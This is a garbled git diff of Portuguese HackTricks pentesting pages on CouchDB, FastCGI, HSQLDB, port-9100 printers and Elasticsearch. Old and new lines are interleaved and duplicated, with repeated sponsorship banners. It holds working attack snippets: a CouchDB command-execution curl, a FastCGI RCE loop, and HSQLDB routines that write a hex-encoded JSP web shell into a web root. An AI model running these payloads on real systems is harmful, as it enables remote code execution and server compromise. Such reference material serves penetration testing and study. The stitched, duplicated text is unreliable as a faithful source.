www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}' -H "Content-Type: application/json" www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}' -H "Content-Type: application/json"
``` ```
## Resumo #### [Resumo](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0) com um payload diferente
Este artigo apresenta informações sobre como realizar testes de penetração em bancos de dados CouchDB. O artigo começa com uma pesquisa no Shodan para encontrar instâncias do CouchDB em execução na porta 5984. Em seguida, o artigo apresenta referências para análise de vulnerabilidades e execução de comandos no CouchDB. ## Shodan
* `port:5984 couchdb`
## Referências
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
* [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)
<details>
<summary><strong>Aprenda a hackear AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,3 +1,18 @@
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
# Informações Básicas # Informações Básicas
Se você quer **aprender o que é FastCGI**, confira a seguinte página: Se você quer **aprender o que é FastCGI**, confira a seguinte página:
@ -6,7 +21,7 @@ Se você quer **aprender o que é FastCGI**, confira a seguinte página:
[disable\_functions-bypass-php-fpm-fastcgi.md](pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-php-fpm-fastcgi.md) [disable\_functions-bypass-php-fpm-fastcgi.md](pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-php-fpm-fastcgi.md)
{% endcontent-ref %} {% endcontent-ref %}
Por padrão, o **FastCGI** roda na porta **9000** e não é reconhecido pelo nmap. **Normalmente**, o FastCGI só escuta em **localhost**. Por padrão, o **FastCGI** roda na **porta** **9000** e não é reconhecido pelo nmap. **Geralmente**, o FastCGI só escuta no **localhost**.
# RCE # RCE
@ -30,21 +45,19 @@ for FN in $FILENAMES; do
cat $OUTPUT cat $OUTPUT
done done
``` ```
ou você também pode usar o seguinte script em python: [https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75](https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75) ou você também pode usar o seguinte script python: [https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75](https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75)
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>Aprenda AWS hacking do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! Outras formas de apoiar o HackTricks:
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details> </details>

View file

@ -1,60 +1,75 @@
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Participe do grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou do grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
# Informações Básicas # Informações Básicas
HSQLDB (\[HyperSQL DataBase\](http://hsqldb.org/)) é o principal sistema de banco de dados relacional SQL escrito em Java. Ele oferece um mecanismo de banco de dados pequeno, rápido, multithreaded e transacional com tabelas em memória e baseadas em disco e suporta modos incorporados e de servidor. HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\) é o principal sistema de banco de dados relacional SQL escrito em Java. Oferece um motor de banco de dados pequeno, rápido, multithread e transacional com tabelas em memória e baseadas em disco e suporta modos embutido e servidor.
**Porta padrão:** 9001 **Porta padrão:** 9001
```text ```text
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0) 9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
``` ```
# Informação # Informações
### Configurações Padrão ### Configurações Padrão
Observe que por padrão este serviço provavelmente está sendo executado na memória ou está vinculado ao localhost. Se você o encontrou, provavelmente explorou outro serviço e está procurando escalar privilégios. Observe que, por padrão, esse serviço provavelmente está sendo executado na memória ou está vinculado ao localhost. Se você o encontrou, provavelmente explorou outro serviço e está procurando escalar privilégios.
As credenciais padrão geralmente são `sa` com uma senha em branco. As credenciais padrão são geralmente `sa` com uma senha em branco.
Se você explorou outro serviço, procure por possíveis credenciais usando Se você explorou outro serviço, procure por possíveis credenciais usando
```text ```text
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
``` ```
Observe cuidadosamente o nome do banco de dados - você precisará dele para se conectar. Observe atentamente o nome do banco de dados - você precisará dele para se conectar.
# Coleta de informações # Coleta de Informações
Conecte-se à instância do banco de dados baixando o HSQLDB (https://sourceforge.net/projects/hsqldb/files/) e extraindo `hsqldb/lib/hsqldb.jar`. Execute o aplicativo GUI (eww) usando `java -jar hsqldb.jar` e conecte-se à instância usando as credenciais descobertas/frágeis. Conecte-se à instância do DB fazendo [download do HSQLDB](https://sourceforge.net/projects/hsqldb/files/) e extraindo `hsqldb/lib/hsqldb.jar`. Execute o aplicativo GUI \(eww\) usando `java -jar hsqldb.jar` e conecte-se à instância usando as credenciais descobertas/frágeis.
Observe que a URL de conexão parecerá algo como isto para um sistema remoto: `jdbc:hsqldb:hsql://ip/DBNAME`. Note que a URL de conexão se parecerá com isto para um sistema remoto: `jdbc:hsqldb:hsql://ip/DBNAME`.
# Truques # Truques
## Rotinas de Linguagem Java ## Rotinas da Linguagem Java
Podemos chamar métodos estáticos de uma classe Java a partir do HSQLDB usando Rotinas de Linguagem Java. Observe que a classe chamada precisa estar no classpath da aplicação. Podemos chamar métodos estáticos de uma classe Java a partir do HSQLDB usando Rotinas da Linguagem Java. Note que a classe chamada precisa estar no classpath da aplicação.
JRTs podem ser `funções` ou `procedimentos`. As funções podem ser chamadas por meio de declarações SQL se o método Java retornar uma ou mais variáveis primitivas compatíveis com SQL. Elas são invocadas usando a declaração `VALUES`. JRTs podem ser `functions` ou `procedures`. Funções podem ser chamadas via instruções SQL se o método Java retornar uma ou mais variáveis primitivas compatíveis com SQL. Elas são invocadas usando a instrução `VALUES`.
Se o método Java que queremos chamar retornar void, precisamos usar um procedimento invocado com a declaração `CALL`. Se o método Java que queremos chamar retorna void, precisamos usar um procedimento invocado com a instrução `CALL`.
## Lendo Propriedades do Sistema Java ## Lendo Propriedades do Sistema Java
Crie a função: Criar função:
```text ```text
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty' EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
``` ```
Desculpe, não entendi o que você quer dizer com "Execute function:". Poderia me dar mais contexto ou informações? Executar função:
```text ```text
VALUES(getsystemproperty('user.name')) VALUES(getsystemproperty('user.name'))
``` ```
Você pode encontrar uma [lista de propriedades do sistema aqui](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html). Você pode encontrar uma [lista de propriedades do sistema aqui](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html).
## Escrevendo conteúdo em um arquivo ## Escrever Conteúdo em Arquivo
Você pode usar o gadget Java `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` localizado no JDK \(carregado automaticamente no classpath da aplicação\) para escrever itens codificados em hexadecimal no disco por meio de um procedimento personalizado. **Observe o tamanho máximo de 1024 bytes**. Você pode usar o gadget Java `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` localizado no JDK \(carregado automaticamente no classpath da aplicação\) para escrever itens codificados em hexadecimal no disco por meio de um procedimento personalizado. **Observe o tamanho máximo de 1024 bytes**.
Crie o procedimento: Criar procedimento:
```text ```text
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024)) CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
@ -66,16 +81,14 @@ call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d
``` ```
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! Outras formas de apoiar o HackTricks:
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details> </details>

View file

@ -1,8 +1,23 @@
# Informação Básica <details>
A impressão raw é o processo de conexão com a porta 9100/tcp de uma impressora de rede. É o método padrão usado pelo CUPS e pela arquitetura de impressão do Windows para se comunicar com impressoras de rede, pois é considerado "o protocolo de rede mais simples, rápido e geralmente mais confiável usado para impressoras". A impressão raw na porta 9100, também referida como JetDirect, AppSocket ou fluxo de dados PDL, na verdade **não é um protocolo de impressão em si**. Em vez disso, **todos os dados enviados são processados diretamente pelo dispositivo de impressão**, assim como uma conexão paralela sobre TCP. Em contraste com LPD, IPP e SMB, isso pode enviar feedback direto ao cliente, incluindo mensagens de status e erro. Esse canal bidirecional nos dá **acesso direto** aos **resultados** dos comandos **PJL**, **PostScript** ou **PCL**. Portanto, a impressão raw na porta 9100 - que é suportada por quase todas as impressoras de rede - é usada como canal para análise de segurança com PRET e PFT. (De [aqui](http://hacking-printers.net/wiki/index.php/Port\_9100\_printing)) <summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Se você quiser aprender mais sobre [**hacking de impressoras, leia esta página**](pentesting-printers/). Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo do** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
</details>
# Informações Básicas
Impressão direta é o que definimos como o processo de fazer uma conexão com a porta 9100/tcp de uma impressora de rede. É o método padrão usado pelo CUPS e pela arquitetura de impressão do Windows para se comunicar com impressoras de rede, pois é considerado como '_o método mais simples, rápido e geralmente o mais confiável protocolo de rede usado para impressoras_'. Impressão direta na porta 9100, também conhecida como JetDirect, AppSocket ou PDL-datastream, na verdade **não é um protocolo de impressão por si só**. Em vez disso, **todos os dados enviados são processados diretamente pelo dispositivo de impressão**, assim como uma conexão paralela via TCP. Em contraste com LPD, IPP e SMB, isso pode enviar feedback direto ao cliente, incluindo mensagens de status e erro. Tal **canal bidirecional** nos dá acesso direto aos **resultados** de comandos **PJL**, **PostScript** ou **PCL**. Portanto, a impressão direta na porta 9100 que é suportada por quase todas as impressoras de rede é usada como canal para análise de segurança com PRET e PFT. (De [aqui](http://hacking-printers.net/wiki/index.php/Port\_9100\_printing))
Se você quer aprender mais sobre [**hacking em impressoras leia esta página**](pentesting-printers/).
**Porta padrão:** 9100 **Porta padrão:** 9100
``` ```
@ -44,7 +59,7 @@ msf> use auxiliary/scanner/printer/printer_delete_file
``` ```
## Ferramenta de Hacking de Impressoras ## Ferramenta de Hacking de Impressoras
Esta é a ferramenta que você deseja usar para abusar de impressoras: Esta é a ferramenta que você deseja usar para explorar impressoras:
{% embed url="https://github.com/RUB-NDS/PRET" %} {% embed url="https://github.com/RUB-NDS/PRET" %}
@ -59,16 +74,14 @@ Esta é a ferramenta que você deseja usar para abusar de impressoras:
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! Outras formas de apoiar o HackTricks:
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details> </details>

View file

@ -1,52 +1,50 @@
# 9200 - Teste de penetração no Elasticsearch # 9200 - Pentesting Elasticsearch
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! Outras formas de apoiar o HackTricks:
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details> </details>
## Informações básicas ## Informações Básicas
Na [página principal](https://www.elastic.co/what-is/elasticsearch) você pode encontrar algumas descrições úteis: Na [página principal](https://www.elastic.co/what-is/elasticsearch) você pode encontrar algumas descrições úteis:
> Elasticsearch é um mecanismo de busca e análise distribuído e de código aberto para todos os tipos de dados, incluindo dados textuais, numéricos, geoespaciais, estruturados e não estruturados. O Elasticsearch é construído sobre o Apache Lucene e foi lançado pela primeira vez em 2010 pela Elasticsearch N.V. (agora conhecida como Elastic). Conhecido por suas APIs REST simples, natureza distribuída, velocidade e escalabilidade, o Elasticsearch é o componente central do Elastic Stack, um conjunto de ferramentas de código aberto para ingestão, enriquecimento, armazenamento, análise e visualização de dados. Comumente referido como ELK Stack (depois de Elasticsearch, Logstash e Kibana), o Elastic Stack agora inclui uma rica coleção de agentes de envio leves conhecidos como Beats para enviar dados para o Elasticsearch. > Elasticsearch é um motor de busca e análise distribuído e de código aberto para todos os tipos de dados, incluindo textuais, numéricos, geoespaciais, estruturados e não estruturados. Elasticsearch é construído sobre o Apache Lucene e foi lançado pela primeira vez em 2010 pela Elasticsearch N.V. (agora conhecida como Elastic). Conhecido por suas simples APIs REST, natureza distribuída, velocidade e escalabilidade, Elasticsearch é o componente central do Elastic Stack, um conjunto de ferramentas de código aberto para ingestão, enriquecimento, armazenamento, análise e visualização de dados. Comumente referido como ELK Stack (após Elasticsearch, Logstash e Kibana), o Elastic Stack agora inclui uma rica coleção de agentes de envio leves conhecidos como Beats para enviar dados ao Elasticsearch.
### O que é um índice Elasticsearch? ### O que é um índice Elasticsearch?
Um _índice_ do Elasticsearch **é uma coleção de documentos** que estão relacionados entre si. O Elasticsearch armazena dados como documentos JSON. Cada documento correlaciona um conjunto de _chaves_ (nomes de campos ou propriedades) com seus valores correspondentes (strings, números, Booleans, datas, matrizes de _valores_, geolocalizações ou outros tipos de dados). Um _índice_ Elasticsearch **é uma coleção de documentos** que estão relacionados entre si. Elasticsearch armazena dados como documentos JSON. Cada documento correlaciona um conjunto de _chaves_ (nomes de campos ou propriedades) com seus valores correspondentes (strings, números, booleanos, datas, arrays de _valores_, geolocalizações ou outros tipos de dados).
O Elasticsearch usa uma estrutura de dados chamada _índice invertido_, que é projetada para permitir pesquisas de texto completo muito rápidas. Um índice invertido lista cada palavra única que aparece em qualquer documento e identifica todos os documentos em que cada palavra ocorre. Elasticsearch usa uma estrutura de dados chamada _índice invertido_, que é projetada para permitir pesquisas de texto completo muito rápidas. Um índice invertido lista cada palavra única que aparece em qualquer documento e identifica todos os documentos em que cada palavra ocorre.
Durante o processo de indexação, o Elasticsearch armazena documentos e constrói um índice invertido para tornar os dados do documento pesquisáveis em tempo quase real. A indexação é iniciada com a API de índice, por meio da qual você pode adicionar ou atualizar um documento JSON em um índice específico. Durante o processo de indexação, Elasticsearch armazena documentos e constrói um índice invertido para tornar os dados dos documentos pesquisáveis em tempo quase real. A indexação é iniciada com a API de índice, através da qual você pode adicionar ou atualizar um documento JSON em um índice específico.
**Porta padrão**: 9200/tcp **Porta padrão**: 9200/tcp
## Enumeração manual ## Enumeração Manual
### Banner ### Banner
O protocolo usado para acessar o Elasticsearch é **HTTP**. Quando você acessa via HTTP, encontrará algumas informações interessantes: `http://10.10.10.115:9200/` O protocolo usado para acessar o Elasticsearch é **HTTP**. Ao acessá-lo via HTTP, você encontrará algumas informações interessantes: `http://10.10.10.115:9200/`
![](<../.gitbook/assets/image (264).png>) ![](<../.gitbook/assets/image (264).png>)
Se você não vir essa resposta acessando `/`, consulte a seguinte seção. Se você não ver essa resposta acessando `/`, veja a seção seguinte.
### Autenticação ### Autenticação
**Por padrão, o Elasticsearch não tem autenticação habilitada**, portanto, por padrão, você pode acessar tudo dentro do banco de dados sem usar credenciais. **Por padrão, o Elasticsearch não tem autenticação habilitada**, então, por padrão, você pode acessar tudo dentro do banco de dados sem usar credenciais.
Você pode verificar se a autenticação está desativada com uma solicitação para: Você pode verificar se a autenticação está desabilitada com uma solicitação para:
```bash ```bash
curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user" curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user"
